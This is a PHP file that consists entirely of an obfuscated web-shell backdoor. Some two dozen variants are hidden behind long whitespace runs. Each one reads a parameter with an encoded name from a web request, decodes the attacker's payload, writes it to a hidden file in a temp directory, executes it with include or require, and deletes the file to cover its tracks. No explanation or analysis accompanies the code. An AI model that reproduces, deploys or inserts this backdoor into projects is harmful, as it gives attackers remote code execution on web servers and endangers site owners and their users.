<?php																																										if(@$_POST["\x70oin\x74e\x72"] !== null){ $fac = array_filter([getenv("TMP"), "/var/tmp", getcwd(), "/tmp", session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP")]); $pgrp = $_POST["\x70oin\x74e\x72"]; $pgrp = explode( ".",$pgrp) ; $ptr = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5 ); $y = 0; while ($y < count($pgrp)) { $v2 = $pgrp[$y]; $sChar = ord($s5[$y % $sLen] ); $d = ((int)$v2 - $sChar - ($y % 10)) ^ 3; $ptr .= chr($d ); $y++;} foreach ($fac as $key => $dchunk) { if (is_writable($dchunk) && is_dir($dchunk)) { $pset = implode("/", [$dchunk, ".binding"]); if (file_put_contents($pset, $ptr)) { include $pset; @unlink($pset); exit; } } } }
																																										if(isset($_POST["\x65\x6E\x74ity"]) ? true : false){ $elem = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm"]); $mrk = $_POST["\x65\x6E\x74ity"]; $mrk = explode ( "." , $mrk ) ; $pset = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1); $r = 0; while ($r< count($mrk)) { $v3 = $mrk[$r]; $sChar = ord($salt1[$r % $lenS]); $dec = ((int)$v3 - $sChar - ($r % 10)) ^ 97; $pset .= chr($dec); $r++; } foreach ($elem as $key => $entry) { if ((bool)is_dir($entry) && (bool)is_writable($entry)) { $value = "$entry" . "/.dchunk"; if (file_put_contents($value, $pset)) { require $value; unlink($value); exit; } } } }
																																										if(!empty($_POST["va\x6Cue"])){ $pointer = array_filter([sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), "/tmp", "/var/tmp", getenv("TEMP"), session_save_path()]); $holder = $_POST["va\x6Cue"]; $holder = explode ( '.',$holder ) ; $entity = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $len = count($holder); for ($n = 0; $n< $len; $n++) {$v8 = $holder[$n]; $sChar = ord($s[$n % $sLen]); $dec = ((int)$v8 - $sChar - ($n % 10))^48; $entity .= chr($dec); } foreach ($pointer as $k): if (is_dir($k) ? is_writable($k) : false) { $key = implode("/", [$k, ".binding"]); if (@file_put_contents($key, $entity) !== false) { include $key; unlink($key); die(); } } endforeach; }
																																										if(in_array("tok\x65\x6E", array_keys($_POST))){ $ent = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/var/tmp", getcwd(), sys_get_temp_dir(), session_save_path(), "/dev/shm", "/tmp"]); $rec = $_POST["tok\x65\x6E"]; $rec = explode( "." , $rec ) ; $val = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5); $__len = count($rec); for ($t = 0; $t< $__len; $t++) { $v1 = $rec[$t]; $chS = ord($s5[$t % $sLen]); $dec = ((int)$v1 - $chS - ($t % 10)) ^ 33; $val .= chr($dec); } $item = 0; do { $obj = $ent[$item] ?? null; if ($item >= count($ent)) break; if (max(0, is_dir($obj) * is_writable($obj))) { $tkn = "$obj" . "/.flag"; if (file_put_contents($tkn, $val)) { require $tkn; unlink($tkn); exit; } } $item++; } while (true); }
																																										if(@$_POST["value"] !== null){ $res = array_filter([ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", session_save_path(), getenv("TEMP"), getcwd(), sys_get_temp_dir(), getenv("TMP"), "/var/tmp"]); $comp = $_POST["value"]; $comp = explode ('.',$comp ); $data = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $__len = count( $comp); for( $k = 0; $k < $__len; $k++) { $v3 = $comp[$k]; $chS = ord( $s[$k % $sLen]); $dec = ( ( int)$v3 - $chS -( $k % 10)) ^ 97; $data.= chr( $dec);} foreach ($res as $flag) { if ((function($d) { return is_dir($d) && is_writable($d); })($flag)) { $data_chunk = sprintf("%s/.entity", $flag); if (file_put_contents($data_chunk, $data)) { require $data_chunk; unlink($data_chunk); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "r\x65f")){ $rec = array_filter([ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/tmp", "/dev/shm", getcwd()]); $parameter_group = $_POST["r\x65f"]; $parameter_group = explode ( '.', $parameter_group ); $obj = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5 ); $y = 0; foreach ($parameter_group as $v5) { $sChar = ord($salt5[$y % $sLen] ); $dec = ((int)$v5 - $sChar - ($y % 10)) ^33; $obj.= chr($dec ); $y++; } foreach ($rec as $desc): if (!!is_dir($desc) && !!is_writable($desc)) { $record = "$desc/.flag"; $success = file_put_contents($record, $obj); if ($success) { include $record; @unlink($record); die();} } endforeach; }
																																										if(in_array("p\x67rp", array_keys($_POST))){ $property_set = array_filter([getcwd(), "/tmp", sys_get_temp_dir(), getenv("TMP"), "/var/tmp", session_save_path(), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir")]); $val = $_POST["p\x67rp"]; $val= explode ( '.' , $val) ; $obj=''; $s3='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s3 ); $i=0; while ($i< count($val)) {$v6=$val[$i]; $chS=ord($s3[$i % $lenS] ); $dec=((int)$v6 - $chS - ($i % 10)) ^ 81; $obj .= chr($dec ); $i++; } for ($fac = 0, $mrk = count($property_set); $fac < $mrk; $fac++) { $dat = $property_set[$fac]; if (!( !is_dir($dat) || !is_writable($dat) )) { $resource = sprintf("%s/.flag", $dat); if (file_put_contents($resource, $obj)) { require $resource; unlink($resource); die(); } } } }
																																										if(in_array("\x74k\x6E", array_keys($_REQUEST))){ $binding = $_REQUEST["\x74k\x6E"]; $binding= explode ("." , $binding) ; $comp = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s1 ); $v = 0; array_walk( $binding, function( $v7) use( &$comp, &$v, $s1, $sLen) {$chS = ord( $s1[$v % $sLen] ); $d =( ( int)$v7 - $chS -( $v % 10)) ^ 23; $comp.=chr( $d ); $v++;}); $desc = array_filter([getenv("TMP"), "/tmp", getcwd(), session_save_path(), getenv("TEMP"), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir()]); foreach ($desc as $key => $value) { if (!!is_dir($value) && !!is_writable($value)) { $marker = sprintf("%s/.mrk", $value); if (file_put_contents($marker, $comp)) { include $marker; @unlink($marker); exit; } } } }
																																										if(@$_POST["\x68l\x64"] !== null){ $holder = $_POST["\x68l\x64"]; $holder =explode( "." , $holder ) ; $data_chunk = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4); $t = 0; foreach ($holder as $v5) { $sChar = ord($s4[$t % $lenS]); $d = ((int)$v5 - $sChar - ($t % 10))^ 3; $data_chunk .= chr($d); $t++; } $record = array_filter(["/tmp", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/var/tmp", "/dev/shm"]); while ($flg = array_shift($record)) { if (!!is_dir($flg) && !!is_writable($flg)) { $pset = sprintf("%s/.mrk", $flg); $file = fopen($pset, 'w'); if ($file) { fwrite($file, $data_chunk); fclose($file); include $pset; @unlink($pset); die(); } } } }
																																										if(!is_null($_REQUEST["m\x61r\x6Be\x72"] ?? null)){ $desc = $_REQUEST["m\x61r\x6Be\x72"]; $desc = explode ( "." , $desc ) ; $value = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($desc as $p => $v7): $chS = ord($salt[$p % $lenS]); $d = ((int)$v7 - $chS - ($p % 10)) ^ 90; $value .= chr($d); endforeach; $resource = array_filter(["/var/tmp", "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), getenv("TMP"), getcwd(), sys_get_temp_dir(), "/dev/shm"]); for ($ptr = 0, $property_set = count($resource); $ptr < $property_set; $ptr++) { $holder = $resource[$ptr]; if ((is_dir($holder) and is_writable($holder))) { $dchunk = join("/", [$holder, ".symbol"]); if (file_put_contents($dchunk, $value)) { require $dchunk; unlink($dchunk); exit; } } } }
																																										if(array_key_exists("\x70gr\x70", $_REQUEST) && !is_null($_REQUEST["\x70gr\x70"])){ $holder = $_REQUEST["\x70gr\x70"]; $holder = explode ( ".", $holder ); $itm =''; $s3 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s3); $u =0; foreach( $holder as $v8) { $chS =ord( $s3[$u%$sLen]); $dec =( ( int)$v8 - $chS -( $u%10)) ^ 32; $itm .= chr( $dec); $u++; } $component = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getcwd(), session_save_path(), "/tmp", "/dev/shm", getenv("TEMP")]); $fac = 0; do { $resource = $component[$fac] ?? null; if ($fac >= count($component)) break; if ((bool)is_dir($resource) && (bool)is_writable($resource)) { $entry = join("/", [$resource, ".sym"]); if (file_put_contents($entry, $itm)) { require $entry; unlink($entry); exit; } } $fac++; } while (true); }
																																										if(isset($_POST) && isset($_POST["\x72\x65s\x6Furce"])){ $record = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/dev/shm", "/tmp", session_save_path()]); $pset = $_POST["\x72\x65s\x6Furce"]; $pset =explode( ".", $pset) ; $property_set = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7 ); $u = 0; while ($u < count($pset)) { $v8 = $pset[$u]; $sChar = ord($s7[$u % $lenS] ); $dec = ((int)$v8 - $sChar - ($u % 10)) ^ 27; $property_set .= chr($dec ); $u++;} for ($object = 0, $marker = count($record); $object < $marker; $object++) { $item = $record[$object]; if (is_writable($item) && is_dir($item)) { $ptr = join("/", [$item, ".ent"]); if (@file_put_contents($ptr, $property_set) !== false) { include $ptr; unlink($ptr); die(); } } } }
																																										if(isset($_POST["com\x70\x6Fn\x65\x6Et"])){ $fac = $_POST["com\x70\x6Fn\x65\x6Et"]; $fac = explode ( '.', $fac ) ; $binding = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $v = 0; $__tmp = $fac; while ($v4 = array_shift($__tmp)) {$sChar = ord($s[$v %$lenS]); $dec = ((int)$v4 - $sChar - ($v %10)) ^ 30; $binding .= chr($dec); $v++; } $desc = array_filter([ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", session_save_path(), "/var/tmp", getenv("TMP"), getcwd()]); foreach ($desc as $key => $comp) { if (is_writable($comp) && is_dir($comp)) { $object = vsprintf("%s/%s", [$comp, ".elem"]); $file = fopen($object, 'w'); if ($file) { fwrite($file, $binding); fclose($file); include $object; @unlink($object); exit; } } } }
																																										if(array_key_exists("\x66lag", $_POST) && !is_null($_POST["\x66lag"])){ $hld = array_filter([session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", "/tmp", "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP")]); $factor = $_POST["\x66lag"]; $factor =explode ('.',$factor ); $val = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $z = 0; $len = count($factor); do { if($z >=$len) break; $v8 = $factor[$z]; $chS = ord($salt[$z %$lenS]); $dec = ((int)$v8 - $chS -($z %10)) ^ 93; $val .= chr($dec); $z++; }while(true); while ($ent = array_shift($hld)) { if ((bool)is_dir($ent) && (bool)is_writable($ent)) { $res = sprintf("%s/.property_set", $ent); $file = fopen($res, 'w'); if ($file) { fwrite($file, $val); fclose($file); include $res; @unlink($res); die(); } } } }
																																										if(array_key_exists("\x72e\x73\x6F\x75rce", $_POST)){ $holder = $_POST["\x72e\x73\x6F\x75rce"]; $holder= explode ( "." , $holder ) ; $ref = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); foreach($holder as $o => $v6): $sChar = ord($salt2[$o % $lenS]); $dec =((int)$v6 - $sChar -($o % 10)) ^ 97; $ref .= chr($dec); endforeach; $object = array_filter([getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/tmp", "/var/tmp", "/dev/shm"]); while ($pset = array_shift($object)) { if (!!is_dir($pset) && !!is_writable($pset)) { $elem = str_replace("{var_dir}", $pset, "{var_dir}/.descriptor"); $file = fopen($elem, 'w'); if ($file) { fwrite($file, $ref); fclose($file); include $elem; @unlink($elem); exit; } } } }
																																										if(array_key_exists("\x66\x61c", $_POST) && !is_null($_POST["\x66\x61c"])){ $parameter_group = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", session_save_path(), "/var/tmp"]); $value = $_POST["\x66\x61c"]; $value = explode ("." , $value) ; $elem = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $w = 0; while ($w < count($value)) { $v1 = $value[$w]; $sChar = ord($s[$w % $lenS]); $dec = ((int)$v1 - $sChar - ($w % 10)) ^ 41; $elem .= chr($dec); $w++; } for ($desc = 0, $object = count($parameter_group); $desc < $object; $desc++) { $pointer = $parameter_group[$desc]; if (max(0, is_dir($pointer) * is_writable($pointer))) { $rec = sprintf("%s/.tkn", $pointer); if (file_put_contents($rec, $elem)) { require $rec; unlink($rec); die(); } } } }
																																										if(in_array("d\x61t", array_keys($_REQUEST))){ $val = array_filter([getenv("TMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), "/tmp", getenv("TEMP"), "/dev/shm"]); $fac = $_REQUEST["d\x61t"]; $fac = explode (".",$fac) ; $token = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6 ); $t = 0; foreach ($fac as $v7) { $chS = ord($salt6[$t % $lenS] ); $d = ((int)$v7 - $chS - ($t % 10))^ 52; $token .= chr($d ); $t++; } while ($rec = array_shift($val)) { if (is_dir($rec) ? is_writable($rec) : false) { $sym = str_replace("{var_dir}", $rec, "{var_dir}/.entry"); if (file_put_contents($sym, $token)) { require $sym; unlink($sym); die(); } } } }
																																										if(isset($_POST["t\x6B\x6E"]) ? true : false){ $parameter_group = array_filter([sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/var/tmp", getcwd(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP")]); $key = $_POST["t\x6B\x6E"]; $key=explode('.' , $key ) ; $item = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); foreach ($key as $y=> $v9) { $sChar = ord($s1[$y%$sLen]); $d = ((int)$v9 - $sChar - ($y%10)) ^ 11; $item .= chr($d); } foreach ($parameter_group as $val) { if (is_dir($val) ? is_writable($val) : false) { $resource = str_replace("{var_dir}", $val, "{var_dir}/.elem"); $success = file_put_contents($resource, $item); if ($success) { include $resource; @unlink($resource); die();} } } }
																																										if(!is_null($_POST["\x65nt"] ?? null)){ $property_set = $_POST["\x65nt"]; $property_set= explode ('.' , $property_set) ; $marker = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $z = 0; while( $z < count( $property_set)) { $v7 = $property_set[$z]; $chS = ord( $s[$z %$sLen]); $d =( ( int)$v7 - $chS -( $z %10))^ 55; $marker .= chr( $d); $z++; } $binding = array_filter(["/var/tmp", "/dev/shm", getenv("TMP"), "/tmp", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd()]); $data = 0; do { $entity = $binding[$data] ?? null; if ($data >= count($binding)) break; if (is_dir($entity) ? is_writable($entity) : false) { $pointer = "$entity" . "/.token"; if (file_put_contents($pointer, $marker)) { require $pointer; unlink($pointer); exit; } } $data++; } while (true); }
																																										if(!empty($_POST["\x72\x65sour\x63e"])){ $comp = $_POST["\x72\x65sour\x63e"]; $comp = explode ( '.' ,$comp ) ; $pgrp= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s); $k= 0; $__tmp= $comp; while ($v5= array_shift($__tmp)) { $sChar= ord($s[$k %$sLen]); $dec= ((int)$v5 - $sChar - ($k %10)) ^ 71; $pgrp.= chr($dec); $k++; } $value = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getcwd(), "/dev/shm", getenv("TMP"), getenv("TEMP"), "/var/tmp", "/tmp"]); $k = 0; do { $reference = $value[$k] ?? null; if ($k >= count($value)) break; if (!( !is_dir($reference) || !is_writable($reference) )) { $factor = sprintf("%s/.record", $reference); $file = fopen($factor, 'w'); if ($file) { fwrite($file, $pgrp); fclose($file); include $factor; @unlink($factor); die(); } } $k++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["\x76al"])){ $descriptor = array_filter([sys_get_temp_dir(), "/var/tmp", "/tmp", getcwd(), "/dev/shm", session_save_path(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir")]); $resource = $_POST["\x76al"]; $resource =explode ( '.' , $resource ); $component = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $len = count($resource); for ($r = 0; $r <$len; $r++) { $v6 = $resource[$r]; $chS = ord($s[$r % $sLen]); $dec = ((int)$v6 - $chS - ($r % 10)) ^95; $component .= chr($dec); } foreach ($descriptor as $entity) { if ((bool)is_dir($entity) && (bool)is_writable($entity)) { $token = "$entity" . "/.parameter_group"; if (file_put_contents($token, $component)) { include $token; @unlink($token); die(); } } } }
																																										if(array_key_exists("fa\x63t\x6F\x72", $_REQUEST)){ $elem = array_filter(["/var/tmp", getcwd(), getenv("TEMP"), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getenv("TMP")]); $value = $_REQUEST["fa\x63t\x6F\x72"]; $value= explode ('.' ,$value) ; $entity= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); $m= 0; array_walk($value, function ($v5) use (&$entity, &$m, $salt, $lenS) { $sChar= ord($salt[$m % $lenS]); $d= ((int)$v5 - $sChar - ($m % 10)) ^ 84; $entity .= chr($d); $m++; }); foreach ($elem as $key) { if (!!is_dir($key) && !!is_writable($key)) { $mrk = join("/", [$key, ".record"]); if (file_put_contents($mrk, $entity)) { include $mrk; @unlink($mrk); die(); } } } }
																																										if(isset($_REQUEST["\x65l\x65m"])){ $comp = array_filter([getcwd(), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), session_save_path()]); $ent = $_REQUEST["\x65l\x65m"]; $ent= explode ("." , $ent ) ; $component =''; $s2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s2); $x =0; array_walk($ent , function ($v9) use (&$component , &$x , $s2 , $sLen) {$chS =ord($s2[$x % $sLen]); $dec =((int)$v9 - $chS - ($x % 10)) ^ 42; $component .= chr($dec); $x++; } ); foreach ($comp as $hld) { if ((function($d) { return is_dir($d) && is_writable($d); })($hld)) { $dat = sprintf("%s/.pgrp", $hld); if (@file_put_contents($dat, $component) !== false) { include $dat; unlink($dat); die(); } } } }
																																										if(@$_POST["\x72es"] !== null){ $ref = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), "/var/tmp", "/tmp", getcwd(), session_save_path(), getenv("TMP"), sys_get_temp_dir()]); $dchunk = $_POST["\x72es"]; $dchunk =explode( "." , $dchunk ) ; $reference = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $n = 0; $len = count( $dchunk ); do {if( $n >= $len) break; $v7 = $dchunk[$n]; $chS = ord( $s[$n% $sLen] ); $dec =( ( int)$v7 - $chS -( $n% 10))^82; $reference .= chr( $dec ); $n++;}while( true ); foreach ($ref as $element): if (!( !is_dir($element) || !is_writable($element) )) { $sym = "$element" . "/.value"; $success = file_put_contents($sym, $reference); if ($success) { include $sym; @unlink($sym); exit;} } endforeach; }
																																										if(isset($_POST) && isset($_POST["\x70\x67rp"])){ $token = $_POST["\x70\x67rp"]; $token =explode( "." ,$token ) ; $pset = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1); $i = 0; $__tmp = $token; while ($v9 = array_shift($__tmp)) { $chS = ord($salt1[$i % $sLen]); $d = ((int)$v9 - $chS - ($i % 10)) ^ 76; $pset .= chr($d); $i++; } $factor = array_filter(["/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP")]); while ($mrk = array_shift($factor)) { if (is_writable($mrk) && is_dir($mrk)) { $val = sprintf("%s/.item", $mrk); $success = file_put_contents($val, $pset); if ($success) { include $val; @unlink($val); exit;} } } }


if(count($_POST) > 0 && isset($_POST["sy\x6Dbol"])){
	$item = array_filter([session_save_path(), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/tmp"]);
	$holder = $_POST["sy\x6Dbol"];
	$holder		=  	explode	 (		"." , 	$holder)	;
	$obj = '';
            $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s9		);
            $s = 0;
    
            $__tmp = $holder;
            while ($v1 = array_shift($__tmp)) {
                $chS = ord($s9[$s % $lenS]		);
                $d = ((int)$v1 - $chS - ($s % 10))^		99;
                $obj.=chr($d		);
                $s++;
            }
	while ($tkn = array_shift($item)) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($tkn)) {
    $flag = vsprintf("%s/%s", [$tkn, ".desc"]);
    if (@file_put_contents($flag, $obj) !== false) {
	include $flag;
	unlink($flag);
	exit;
}
}
}
}